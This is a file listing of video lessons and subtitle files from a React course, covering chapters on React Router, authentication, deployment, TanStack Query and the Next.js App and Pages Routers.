    Chapter 21 Building a Multi-Page SPA with React Router/001. Module Introduction.mp4 12 MB
    Chapter 21 Building a Multi-Page SPA with React Router/002. Routing Multiple Pages in Single-Page Applications.en.srt 4.65 KB
    Chapter 21 Building a Multi-Page SPA with React Router/002. Routing Multiple Pages in Single-Page Applications.mp4 7.35 MB
    Chapter 21 Building a Multi-Page SPA with React Router/003. Project Setup & Installing React Router.en.srt 4.67 KB
    Chapter 21 Building a Multi-Page SPA with React Router/003. Project Setup & Installing React Router.mp4 8.76 MB
    Chapter 21 Building a Multi-Page SPA with React Router/004. Defining Routes.en.srt 11.67 KB
    Chapter 21 Building a Multi-Page SPA with React Router/004. Defining Routes.mp4 22.57 MB
    Chapter 21 Building a Multi-Page SPA with React Router/005. Adding a Second Route.en.srt 3.13 KB
    Chapter 21 Building a Multi-Page SPA with React Router/005. Adding a Second Route.mp4 6.61 MB
    Chapter 21 Building a Multi-Page SPA with React Router/006. Exploring an Alternative Way of Defining Routes.en.srt 4.41 KB
    Chapter 21 Building a Multi-Page SPA with React Router/006. Exploring an Alternative Way of Defining Routes.mp4 14.87 MB
    Chapter 21 Building a Multi-Page SPA with React Router/007. Navigating between Pages with Links.en.srt 6.83 KB
    Chapter 21 Building a Multi-Page SPA with React Router/007. Navigating between Pages with Links.mp4 12.71 MB
    Chapter 21 Building a Multi-Page SPA with React Router/008. Layouts & Nested Routes.en.srt 12.25 KB
    Chapter 21 Building a Multi-Page SPA with React Router/008. Layouts & Nested Routes.mp4 32 MB
    Chapter 21 Building a Multi-Page SPA with React Router/009. Showing Error Pages with errorElement.en.srt 5.47 KB
    Chapter 21 Building a Multi-Page SPA with React Router/009. Showing Error Pages with errorElement.mp4 13.63 MB
    Chapter 21 Building a Multi-Page SPA with React Router/010. Working with Navigation Links.en.srt 9.82 KB
    Chapter 21 Building a Multi-Page SPA with React Router/010. Working with Navigation Links.mp4 24.59 MB
    Chapter 21 Building a Multi-Page SPA with React Router/011. Navigating Programmatically.en.srt 4.27 KB
    Chapter 21 Building a Multi-Page SPA with React Router/011. Navigating Programmatically.mp4 9.74 MB
    Chapter 21 Building a Multi-Page SPA with React Router/012. Defining & Using Dynamic Routes.en.srt 11.43 KB
    Chapter 21 Building a Multi-Page SPA with React Router/012. Defining & Using Dynamic Routes.mp4 28.6 MB
    Chapter 21 Building a Multi-Page SPA with React Router/013. Adding Links for Dynamic Routes.en.srt 5.22 KB
    Chapter 21 Building a Multi-Page SPA with React Router/013. Adding Links for Dynamic Routes.mp4 13.85 MB
    Chapter 21 Building a Multi-Page SPA with React Router/014. Understanding Relative & Absolute Paths.en.srt 16.01 KB
    Chapter 21 Building a Multi-Page SPA with React Router/014. Understanding Relative & Absolute Paths.mp4 40.32 MB
    Chapter 21 Building a Multi-Page SPA with React Router/015. Working with Index Routes.en.srt 3.07 KB
    Chapter 21 Building a Multi-Page SPA with React Router/015. Working with Index Routes.mp4 8.37 MB
    Chapter 21 Building a Multi-Page SPA with React Router/016. Onwards to a new Project Setup.en.srt 5.14 KB
    Chapter 21 Building a Multi-Page SPA with React Router/016. Onwards to a new Project Setup.mp4 9.86 MB
    Chapter 21 Building a Multi-Page SPA with React Router/017. Time to Practice Problem.en.srt 2.21 KB
    Chapter 21 Building a Multi-Page SPA with React Router/017. Time to Practice Problem.mp4 6.96 MB
    Chapter 21 Building a Multi-Page SPA with React Router/018. Time to Practice Solution.en.srt 32.45 KB
    Chapter 21 Building a Multi-Page SPA with React Router/018. Time to Practice Solution.mp4 118.02 MB
    Chapter 21 Building a Multi-Page SPA with React Router/019. Data Fetching with a loader.en.srt 11.54 KB
    Chapter 21 Building a Multi-Page SPA with React Router/019. Data Fetching with a loader.mp4 35.49 MB
    Chapter 21 Building a Multi-Page SPA with React Router/020. Using Data From A Loader In The Route Component.en.srt 4.36 KB
    Chapter 21 Building a Multi-Page SPA with React Router/020. Using Data From A Loader In The Route Component.mp4 11.99 MB
    Chapter 21 Building a Multi-Page SPA with React Router/021. More loader Data Usage.en.srt 5.02 KB
    Chapter 21 Building a Multi-Page SPA with React Router/021. More loader Data Usage.mp4 17.35 MB
    Chapter 21 Building a Multi-Page SPA with React Router/022. Where Should loader Code Be Stored.en.srt 3.39 KB
    Chapter 21 Building a Multi-Page SPA with React Router/022. Where Should loader Code Be Stored.mp4 12.12 MB
    Chapter 21 Building a Multi-Page SPA with React Router/023. When Are loader Functions Executed.en.srt 4.35 KB
    Chapter 21 Building a Multi-Page SPA with React Router/023. When Are loader Functions Executed.mp4 10.03 MB
    Chapter 21 Building a Multi-Page SPA with React Router/024. Reflecting The Current Navigation State in the UI.en.srt 4.62 KB
    Chapter 21 Building a Multi-Page SPA with React Router/024. Reflecting The Current Navigation State in the UI.mp4 11.86 MB
    Chapter 21 Building a Multi-Page SPA with React Router/025. Returning Responses in loader s.en.srt 6.14 KB
    Chapter 21 Building a Multi-Page SPA with React Router/025. Returning Responses in loader s.mp4 17.54 MB
    Chapter 21 Building a Multi-Page SPA with React Router/026. Which Kind Of Code Goes Into loader s.en.srt 1.95 KB
    Chapter 21 Building a Multi-Page SPA with React Router/026. Which Kind Of Code Goes Into loader s.mp4 5.1 MB
    Chapter 21 Building a Multi-Page SPA with React Router/027. Error Handling with Custom Errors.en.srt 6.71 KB
    Chapter 21 Building a Multi-Page SPA with React Router/027. Error Handling with Custom Errors.mp4 22.27 MB
    Chapter 21 Building a Multi-Page SPA with React Router/028. Extracting Error Data & Throwing Responses.en.srt 11.26 KB
    Chapter 21 Building a Multi-Page SPA with React Router/028. Extracting Error Data & Throwing Responses.mp4 29.42 MB
    Chapter 21 Building a Multi-Page SPA with React Router/029. The json Utility Function.en.srt 3.16 KB
    Chapter 21 Building a Multi-Page SPA with React Router/029. The json Utility Function.mp4 10.45 MB
    Chapter 21 Building a Multi-Page SPA with React Router/030. Dynamic Routes & loader s.en.srt 10.72 KB
    Chapter 21 Building a Multi-Page SPA with React Router/030. Dynamic Routes & loader s.mp4 35.01 MB
    Chapter 21 Building a Multi-Page SPA with React Router/031. The useRouteLoaderData Hook & Accessing Data From Other Routes.en.srt 10.31 KB
    Chapter 21 Building a Multi-Page SPA with React Router/031. The useRouteLoaderData Hook & Accessing Data From Other Routes.mp4 35.59 MB
    Chapter 21 Building a Multi-Page SPA with React Router/032. Planning Data Submission.en.srt 3.7 KB
    Chapter 21 Building a Multi-Page SPA with React Router/032. Planning Data Submission.mp4 8.44 MB
    Chapter 21 Building a Multi-Page SPA with React Router/033. Working with action Functions.en.srt 13.09 KB
    Chapter 21 Building a Multi-Page SPA with React Router/033. Working with action Functions.mp4 42.22 MB
    Chapter 21 Building a Multi-Page SPA with React Router/034. Submitting Data Programmatically.en.srt 13.42 KB
    Chapter 21 Building a Multi-Page SPA with React Router/034. Submitting Data Programmatically.mp4 44.23 MB
    Chapter 21 Building a Multi-Page SPA with React Router/035. Updating the UI State Based on the Submission Status.en.srt 5.92 KB
    Chapter 21 Building a Multi-Page SPA with React Router/035. Updating the UI State Based on the Submission Status.mp4 19.19 MB
    Chapter 21 Building a Multi-Page SPA with React Router/036. Validating User Input & Outputting Validation Errors.en.srt 9.92 KB
    Chapter 21 Building a Multi-Page SPA with React Router/036. Validating User Input & Outputting Validation Errors.mp4 35.37 MB
    Chapter 21 Building a Multi-Page SPA with React Router/037. Reusing Actions via Request Methods.en.srt 11.26 KB
    Chapter 21 Building a Multi-Page SPA with React Router/037. Reusing Actions via Request Methods.mp4 41.7 MB
    Chapter 21 Building a Multi-Page SPA with React Router/038. Behind-the-Scenes Work with useFetcher.en.srt 13.53 KB
    Chapter 21 Building a Multi-Page SPA with React Router/038. Behind-the-Scenes Work with useFetcher.mp4 42.21 MB
    Chapter 21 Building a Multi-Page SPA with React Router/039. Deferring Data Fetching with defer.en.srt 13.45 KB
    Chapter 21 Building a Multi-Page SPA with React Router/039. Deferring Data Fetching with defer.mp4 43.31 MB
    Chapter 21 Building a Multi-Page SPA with React Router/040. Controlling Which Data Should Be Deferred.en.srt 10.46 KB
    Chapter 21 Building a Multi-Page SPA with React Router/040. Controlling Which Data Should Be Deferred.mp4 40.76 MB
    Chapter 21 Building a Multi-Page SPA with React Router/041. Module Summary.en.srt 4.36 KB
    Chapter 21 Building a Multi-Page SPA with React Router/041. Module Summary.mp4 13.9 MB
    Chapter 22 Adding Authentication To React Apps/001. Module Introduction.en.srt 1.57 KB
    Chapter 22 Adding Authentication To React Apps/001. Module Introduction.mp4 2.75 MB
    Chapter 22 Adding Authentication To React Apps/002. How Authentication Works.en.srt 12.64 KB
    Chapter 22 Adding Authentication To React Apps/002. How Authentication Works.mp4 34.47 MB
    Chapter 22 Adding Authentication To React Apps/003. Project Setup & Route Setup.en.srt 6.11 KB
    Chapter 22 Adding Authentication To React Apps/003. Project Setup & Route Setup.mp4 13.23 MB
    Chapter 22 Adding Authentication To React Apps/004. Working with Query Parameters.en.srt 12.41 KB
    Chapter 22 Adding Authentication To React Apps/004. Working with Query Parameters.mp4 30.56 MB
    Chapter 22 Adding Authentication To React Apps/005. Implementing the Auth Action.en.srt 18.12 KB
    Chapter 22 Adding Authentication To React Apps/005. Implementing the Auth Action.mp4 53.6 MB
    Chapter 22 Adding Authentication To React Apps/006. Validating User Input & Outputting Validation Errors.en.srt 6.55 KB
    Chapter 22 Adding Authentication To React Apps/006. Validating User Input & Outputting Validation Errors.mp4 21.19 MB
    Chapter 22 Adding Authentication To React Apps/007. Adding User Login.en.srt 2.97 KB
    Chapter 22 Adding Authentication To React Apps/007. Adding User Login.mp4 7.45 MB
    Chapter 22 Adding Authentication To React Apps/008. Attaching Auth Tokens to Outgoing Requests.en.srt 9.77 KB
    Chapter 22 Adding Authentication To React Apps/008. Attaching Auth Tokens to Outgoing Requests.mp4 33.42 MB
    Chapter 22 Adding Authentication To React Apps/009. Adding User Logout.en.srt 6.16 KB
    Chapter 22 Adding Authentication To React Apps/009. Adding User Logout.mp4 18.58 MB
    Chapter 22 Adding Authentication To React Apps/010. Updating the UI Based on Auth Status.en.srt 9.13 KB
    Chapter 22 Adding Authentication To React Apps/010. Updating the UI Based on Auth Status.mp4 28.26 MB
    Chapter 22 Adding Authentication To React Apps/011. Adding Route Protection.en.srt 4.09 KB
    Chapter 22 Adding Authentication To React Apps/011. Adding Route Protection.mp4 10.56 MB
    Chapter 22 Adding Authentication To React Apps/012. Adding Automatic Logout.en.srt 8.55 KB
    Chapter 22 Adding Authentication To React Apps/012. Adding Automatic Logout.mp4 23.34 MB
    Chapter 22 Adding Authentication To React Apps/013. Managing the Token Expiration.en.srt 11.21 KB
    Chapter 22 Adding Authentication To React Apps/013. Managing the Token Expiration.mp4 34.71 MB
    Chapter 23 Deploying React Apps/001. Module Introduction.en.srt 1.92 KB
    Chapter 23 Deploying React Apps/001. Module Introduction.mp4 6.3 MB
    Chapter 23 Deploying React Apps/002. Deployment Steps.en.srt 4.47 KB
    Chapter 23 Deploying React Apps/002. Deployment Steps.mp4 7.3 MB
    Chapter 23 Deploying React Apps/003. Understanding Lazy Loading.en.srt 7.09 KB
    Chapter 23 Deploying React Apps/003. Understanding Lazy Loading.mp4 17.9 MB
    Chapter 23 Deploying React Apps/004. Adding Lazy Loading.en.srt 13.22 KB
    Chapter 23 Deploying React Apps/004. Adding Lazy Loading.mp4 36.74 MB
    Chapter 23 Deploying React Apps/005. Building the Code For Production.en.srt 3.6 KB
    Chapter 23 Deploying React Apps/005. Building the Code For Production.mp4 11.63 MB
    Chapter 23 Deploying React Apps/006. Deployment Example.en.srt 9.56 KB
    Chapter 23 Deploying React Apps/006. Deployment Example.mp4 28.8 MB
    Chapter 23 Deploying React Apps/007. Server-side Routing & Required Configuration.en.srt 6.18 KB
    Chapter 23 Deploying React Apps/007. Server-side Routing & Required Configuration.mp4 14.22 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/001. Module Introduction.en.srt 2.13 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/001. Module Introduction.mp4 6.67 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/002. Project Setup & Overview.en.srt 5.55 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/002. Project Setup & Overview.mp4 19.61 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/003. React Query What & Why.en.srt 7.7 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/003. React Query What & Why.mp4 35.93 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/004. Installing & Using Tanstack Query - And Seeing Why It's Great!.en.srt 20.45 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/004. Installing & Using Tanstack Query - And Seeing Why It's Great!.mp4 83.74 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/005. Understanding & Configuring Query Behaviors - Cache & Stale Data.en.srt 9.71 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/005. Understanding & Configuring Query Behaviors - Cache & Stale Data.mp4 51.99 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/006. Dynamic Query Functions & Query Keys.en.srt 15.99 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/006. Dynamic Query Functions & Query Keys.mp4 73.59 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/007. The Query Configuration Object & Aborting Requests.en.srt 6.7 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/007. The Query Configuration Object & Aborting Requests.mp4 33.26 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/008. Enabled & Disabled Queries.en.srt 8.87 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/008. Enabled & Disabled Queries.mp4 49.51 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/009. Changing Data with Mutations.en.srt 14.31 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/009. Changing Data with Mutations.mp4 66.16 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/010. Fetching More Data & Testing the Mutation.en.srt 7.64 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/010. Fetching More Data & Testing the Mutation.mp4 38.55 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/011. Acting on Mutation Success & Invalidating Queries.en.srt 10.52 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/011. Acting on Mutation Success & Invalidating Queries.mp4 50.86 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/012. A Challenge! The Problem.en.srt 2.68 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/012. A Challenge! The Problem.mp4 13.74 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/013. A Challenge! The Solution.en.srt 20.09 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/013. A Challenge! The Solution.mp4 89.02 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/014. Disabling Automatic Refetching After Invalidations.en.srt 3.43 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/014. Disabling Automatic Refetching After Invalidations.mp4 19.08 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/015. Enhancing the Demo App & Repeating Mutation Concepts.en.srt 11.7 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/015. Enhancing the Demo App & Repeating Mutation Concepts.mp4 54.98 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/016. React Query Advantages In Action.en.srt 11.03 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/016. React Query Advantages In Action.mp4 41.41 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/017. Updating Data with Mutations.en.srt 5.88 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/017. Updating Data with Mutations.mp4 23.82 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/018. Optimistic Updating.en.srt 15.95 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/018. Optimistic Updating.mp4 71.09 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/019. Using the Query Key As Query Function Input.en.srt 9.24 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/019. Using the Query Key As Query Function Input.mp4 45.07 MB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/020. React Query & React Router.en.srt 25.45 KB
    Chapter 24 React Query Tanstack Query Handling HTTP Requests With Ease/020. React Query & React Router.mp4 117.58 MB
    Chapter 25 A Introduction to NextJS - App Router/001. Module Introduction.en.srt 2.43 KB
    Chapter 25 A Introduction to NextJS - App Router/001. Module Introduction.mp4 7.54 MB
    Chapter 25 A Introduction to NextJS - App Router/002. Creating a NextJS Project.en.srt 5.64 KB
    Chapter 25 A Introduction to NextJS - App Router/002. Creating a NextJS Project.mp4 11.48 MB
    Chapter 25 A Introduction to NextJS - App Router/003. Understanding File-based Routing & React Server Components.en.srt 3.48 KB
    Chapter 25 A Introduction to NextJS - App Router/003. Understanding File-based Routing & React Server Components.mp4 9.88 MB
    Chapter 25 A Introduction to NextJS - App Router/004. Adding Another Route via the Filesystem.en.srt 3.85 KB
    Chapter 25 A Introduction to NextJS - App Router/004. Adding Another Route via the Filesystem.mp4 10.82 MB
    Chapter 25 A Introduction to NextJS - App Router/005. Navigating Between Pages.en.srt 5.63 KB
    Chapter 25 A Introduction to NextJS - App Router/005. Navigating Between Pages.mp4 12.72 MB
    Chapter 25 A Introduction to NextJS - App Router/006. Working with Pages & Layouts.en.srt 4.1 KB
    Chapter 25 A Introduction to NextJS - App Router/006. Working with Pages & Layouts.mp4 13.24 MB
    Chapter 25 A Introduction to NextJS - App Router/007. Reserved File Names, Custom Components & How To Organize A NextJS Project.en.srt 8.92 KB
    Chapter 25 A Introduction to NextJS - App Router/007. Reserved File Names, Custom Components & How To Organize A NextJS Project.mp4 30.84 MB
    Chapter 25 A Introduction to NextJS - App Router/008. Configuring Dynamic Routes & Using Route Parameters.en.srt 7.79 KB
    Chapter 25 A Introduction to NextJS - App Router/008. Configuring Dynamic Routes & Using Route Parameters.mp4 18.95 MB
    Chapter 25 A Introduction to NextJS - App Router/009. Onwards to the Main Project The Foodies App.en.srt 1.79 KB
    Chapter 25 A Introduction to NextJS - App Router/009. Onwards to the Main Project The Foodies App.mp4 6.77 MB
    Chapter 25 A Introduction to NextJS - App Router/010. Exercise Your Task.en.srt 2.65 KB
    Chapter 25 A Introduction to NextJS - App Router/010. Exercise Your Task.mp4 3.52 MB
    Chapter 25 A Introduction to NextJS - App Router/011. Exercise Solution.en.srt 10.92 KB
    Chapter 25 A Introduction to NextJS - App Router/011. Exercise Solution.mp4 26.03 MB
    Chapter 25 A Introduction to NextJS - App Router/012. Revisiting The Concept Of Layouts.en.srt 4.89 KB
    Chapter 25 A Introduction to NextJS - App Router/012. Revisiting The Concept Of Layouts.mp4 14.54 MB
    Chapter 25 A Introduction to NextJS - App Router/013. Adding a Custom Component To A Layout.en.srt 7.87 KB
    Chapter 25 A Introduction to NextJS - App Router/013. Adding a Custom Component To A Layout.mp4 28.77 MB
    Chapter 25 A Introduction to NextJS - App Router/014. Styling NextJS Project Your Options & Using CSS Modules.en.srt 7.61 KB
    Chapter 25 A Introduction to NextJS - App Router/014. Styling NextJS Project Your Options & Using CSS Modules.mp4 33.1 MB
    Chapter 25 A Introduction to NextJS - App Router/015. Optimizing Images with the NextJS Image Component.en.srt 6.74 KB
    Chapter 25 A Introduction to NextJS - App Router/015. Optimizing Images with the NextJS Image Component.mp4 29.75 MB
    Chapter 25 A Introduction to NextJS - App Router/016. Using More Custom Components.en.srt 4.71 KB
    Chapter 25 A Introduction to NextJS - App Router/016. Using More Custom Components.mp4 25.63 MB
    Chapter 25 A Introduction to NextJS - App Router/017. Populating The Starting Page Content.en.srt 5.45 KB
    Chapter 25 A Introduction to NextJS - App Router/017. Populating The Starting Page Content.mp4 20.21 MB
    Chapter 25 A Introduction to NextJS - App Router/018. Preparing an Image Slideshow.en.srt 4.37 KB
    Chapter 25 A Introduction to NextJS - App Router/018. Preparing an Image Slideshow.mp4 22.53 MB
    Chapter 25 A Introduction to NextJS - App Router/019. React Server Components vs Client Components - When To Use What.en.srt 11.08 KB
    Chapter 25 A Introduction to NextJS - App Router/019. React Server Components vs Client Components - When To Use What.mp4 42.12 MB
    Chapter 25 A Introduction to NextJS - App Router/020. Using Client Components Efficiently.en.srt 13.99 KB
    Chapter 25 A Introduction to NextJS - App Router/020. Using Client Components Efficiently.mp4 54.95 MB
    Chapter 25 A Introduction to NextJS - App Router/021. Outputting Meals Data & Images With Unknown Dimensions.en.srt 13.35 KB
    Chapter 25 A Introduction to NextJS - App Router/021. Outputting Meals Data & Images With Unknown Dimensions.mp4 53.47 MB
    Chapter 25 A Introduction to NextJS - App Router/022. Setting Up A SQLite Database.en.srt 4.03 KB
    Chapter 25 A Introduction to NextJS - App Router/022. Setting Up A SQLite Database.mp4 18.77 MB
    Chapter 25 A Introduction to NextJS - App Router/023. Fetching Data By Leveraging NextJS & Fullstack Capabilities.en.srt 9.44 KB
    Chapter 25 A Introduction to NextJS - App Router/023. Fetching Data By Leveraging NextJS & Fullstack Capabilities.mp4 34.97 MB
    Chapter 25 A Introduction to NextJS - App Router/024. Adding A Loading Page.en.srt 5.21 KB
    Chapter 25 A Introduction to NextJS - App Router/024. Adding A Loading Page.mp4 24.21 MB
    Chapter 25 A Introduction to NextJS - App Router/025. Using Suspense & Streamed Responses For Granular Loading State Management.en.srt 7.98 KB
    Chapter 25 A Introduction to NextJS - App Router/025. Using Suspense & Streamed Responses For Granular Loading State Management.mp4 33.62 MB
    Chapter 25 A Introduction to NextJS - App Router/026. Handling Errors.en.srt 7 KB
    Chapter 25 A Introduction to NextJS - App Router/026. Handling Errors.mp4 20.97 MB
    Chapter 25 A Introduction to NextJS - App Router/027. Handling Not Found States.en.srt 2.47 KB
    Chapter 25 A Introduction to NextJS - App Router/027. Handling Not Found States.mp4 6.47 MB
    Chapter 25 A Introduction to NextJS - App Router/028. Loading & Rendering Meal Details via Dynamic Routes & Route Parameters.en.srt 13.7 KB
    Chapter 25 A Introduction to NextJS - App Router/028. Loading & Rendering Meal Details via Dynamic Routes & Route Parameters.mp4 56.13 MB
    Chapter 25 A Introduction to NextJS - App Router/029. Throwing Not Found Errors For Individual Meals.en.srt 2.58 KB
    Chapter 25 A Introduction to NextJS - App Router/029. Throwing Not Found Errors For Individual Meals.mp4 9.24 MB
    Chapter 25 A Introduction to NextJS - App Router/030. Getting Started with the Share Meal Form.en.srt 2.52 KB
    Chapter 25 A Introduction to NextJS - App Router/030. Getting Started with the Share Meal Form.mp4 10.78 MB
    Chapter 25 A Introduction to NextJS - App Router/031. Getting Started with a Custom Image Picker Input Component.en.srt 10.94 KB
    Chapter 25 A Introduction to NextJS - App Router/031. Getting Started with a Custom Image Picker Input Component.mp4 37.43 MB
    Chapter 25 A Introduction to NextJS - App Router/032. Adding an Image Preview to the Picker.en.srt 7.13 KB
    Chapter 25 A Introduction to NextJS - App Router/032. Adding an Image Preview to the Picker.mp4 27.9 MB
    Chapter 25 A Introduction to NextJS - App Router/033. Introducing & Using Server Actions for Handling Form Submissions.en.srt 11.49 KB
    Chapter 25 A Introduction to NextJS - App Router/033. Introducing & Using Server Actions for Handling Form Submissions.mp4 45.69 MB
    Chapter 25 A Introduction to NextJS - App Router/034. Storing Server Actions in Separate Files.en.srt 4.76 KB
    Chapter 25 A Introduction to NextJS - App Router/034. Storing Server Actions in Separate Files.mp4 20.28 MB
    Chapter 25 A Introduction to NextJS - App Router/035. Creating a Slug & Sanitizing User Input for XSS Protection.en.srt 3.96 KB
    Chapter 25 A Introduction to NextJS - App Router/035. Creating a Slug & Sanitizing User Input for XSS Protection.mp4 14.05 MB
    Chapter 25 A Introduction to NextJS - App Router/036. Storing Uploaded Images & Storing Data in the Database.en.srt 17.14 KB
    Chapter 25 A Introduction to NextJS - App Router/036. Storing Uploaded Images & Storing Data in the Database.mp4 62.06 MB
    Chapter 25 A Introduction to NextJS - App Router/037. Managing the Form Submission Status with useFormStatus.en.srt 6.65 KB
    Chapter 25 A Introduction to NextJS - App Router/037. Managing the Form Submission Status with useFormStatus.mp4 28.48 MB
    Chapter 25 A Introduction to NextJS - App Router/038. Adding Server-Side Input Validation.en.srt 7.21 KB
    Chapter 25 A Introduction to NextJS - App Router/038. Adding Server-Side Input Validation.mp4 29.6 MB
    Chapter 25 A Introduction to NextJS - App Router/039. Working with Server Action Responses & useFormState.en.srt 10.17 KB
    Chapter 25 A Introduction to NextJS - App Router/039. Working with Server Action Responses & useFormState.mp4 44.6 MB
    Chapter 25 A Introduction to NextJS - App Router/040. Building For Production & Understanding NextJS Caching.en.srt 7.45 KB
    Chapter 25 A Introduction to NextJS - App Router/040. Building For Production & Understanding NextJS Caching.mp4 44 MB
    Chapter 25 A Introduction to NextJS - App Router/041. Triggering Cache Revalidations.en.srt 4.77 KB
    Chapter 25 A Introduction to NextJS - App Router/041. Triggering Cache Revalidations.mp4 19.2 MB
    Chapter 25 A Introduction to NextJS - App Router/042. Don't Store Files Locally On The Filesystem!.en.srt 2.92 KB
    Chapter 25 A Introduction to NextJS - App Router/042. Don't Store Files Locally On The Filesystem!.mp4 10.09 MB
    Chapter 25 A Introduction to NextJS - App Router/043. Adding Static Metadata.en.srt 4.72 KB
    Chapter 25 A Introduction to NextJS - App Router/043. Adding Static Metadata.mp4 25.2 MB
    Chapter 25 A Introduction to NextJS - App Router/044. Adding Dynamic Metadata.en.srt 2.91 KB
    Chapter 25 A Introduction to NextJS - App Router/044. Adding Dynamic Metadata.mp4 14.12 MB
    Chapter 25 A Introduction to NextJS - App Router/045. Module Summary.en.srt 5.46 KB
    Chapter 25 A Introduction to NextJS - App Router/045. Module Summary.mp4 24.62 MB
    Chapter 26 A Introduction to Next.js - Pages Router/001. About the NextJS Pages Router.en.srt 3.92 KB
    Chapter 26 A Introduction to Next.js - Pages Router/001. About the NextJS Pages Router.mp4 12.01 MB
    Chapter 26 A Introduction to Next.js - Pages Router/002. Creating a NextJS Project.en.srt 2.97 KB
    Chapter 26 A Introduction to Next.js - Pages Router/002. Creating a NextJS Project.mp4 6.23 MB
    Chapter 26 A Introduction to Next.js - Pages Router/003. Analyzing the Created Project.en.srt 4.42 KB
    Chapter 26 A Introduction to Next.js - Pages Router/003. Analyzing the Created Project.mp4 7.41 MB
    Chapter 26 A Introduction to Next.js - Pages Router/004. Adding First Pages.en.srt 9.53 KB
    Chapter 26 A Introduction to Next.js - Pages Router/004. Adding First Pages.mp4 21.41 MB
    Chapter 26 A Introduction to Next.js - Pages Router/005. Adding Nested Paths & Pages.en.srt 5.58 KB
    Chapter 26 A Introduction to Next.js - Pages Router/005. Adding Nested Paths & Pages.mp4 11.56 MB
    Chapter 26 A Introduction to Next.js - Pages Router/006. Creating Dynamic Pages.en.srt 5.41 KB
    Chapter 26 A Introduction to Next.js - Pages Router/006. Creating Dynamic Pages.mp4 10.54 MB
    Chapter 26 A Introduction to Next.js - Pages Router/007. Extracting Dynamic Parameter Values.en.srt 5.96 KB
    Chapter 26 A Introduction to Next.js - Pages Router/007. Extracting Dynamic Parameter Values.mp4 15.23 MB
    Chapter 26 A Introduction to Next.js - Pages Router/008. Linking Between Pages.en.srt 10.86 KB
    Chapter 26 A Introduction to Next.js - Pages Router/008. Linking Between Pages.mp4 23.67 MB
    Chapter 26 A Introduction to Next.js - Pages Router/009. Onwards to a bigger Project!.en.srt 5.24 KB
    Chapter 26 A Introduction to Next.js - Pages Router/009. Onwards to a bigger Project!.mp4 13.08 MB
    Chapter 26 A Introduction to Next.js - Pages Router/010. Preparing the Project Pages.en.srt 5.44 KB
    Chapter 26 A Introduction to Next.js - Pages Router/010. Preparing the Project Pages.mp4 11.08 MB
    Chapter 26 A Introduction to Next.js - Pages Router/011. Outputting a List of Meetups.en.srt 7.74 KB
    Chapter 26 A Introduction to Next.js - Pages Router/011. Outputting a List of Meetups.mp4 18.52 MB
    Chapter 26 A Introduction to Next.js - Pages Router/012. Adding the New Meetup Form.en.srt 5.4 KB
    Chapter 26 A Introduction to Next.js - Pages Router/012. Adding the New Meetup Form.mp4 14.57 MB
    Chapter 26 A Introduction to Next.js - Pages Router/013. The app.js File & Layout Wrapper.en.srt 9.74 KB
    Chapter 26 A Introduction to Next.js - Pages Router/013. The app.js File & Layout Wrapper.mp4 23.14 MB
    Chapter 26 A Introduction to Next.js - Pages Router/014. Using Programmatic Navigation.en.srt 5.95 KB
    Chapter 26 A Introduction to Next.js - Pages Router/014. Using Programmatic Navigation.mp4 13.92 MB
    Chapter 26 A Introduction to Next.js - Pages Router/015. Adding Custom Components & CSS Modules.en.srt 14.24 KB
    Chapter 26 A Introduction to Next.js - Pages Router/015. Adding Custom Components & CSS Modules.mp4 36.37 MB
    Chapter 26 A Introduction to Next.js - Pages Router/016. How Pre-rendering Works & Which Problem We Face.en.srt 8.89 KB
    Chapter 26 A Introduction to Next.js - Pages Router/016. How Pre-rendering Works & Which Problem We Face.mp4 21.5 MB
    Chapter 26 A Introduction to Next.js - Pages Router/017. Data Fetching for Static Pages.en.srt 13.12 KB
    Chapter 26 A Introduction to Next.js - Pages Router/017. Data Fetching for Static Pages.mp4 32.76 MB
    Chapter 26 A Introduction to Next.js - Pages Router/018. More on Static Site Generation.en.srt 8.37 KB
    Chapter 26 A Introduction to Next.js - Pages Router/018. More on Static Site Generation.mp4 21.23 MB
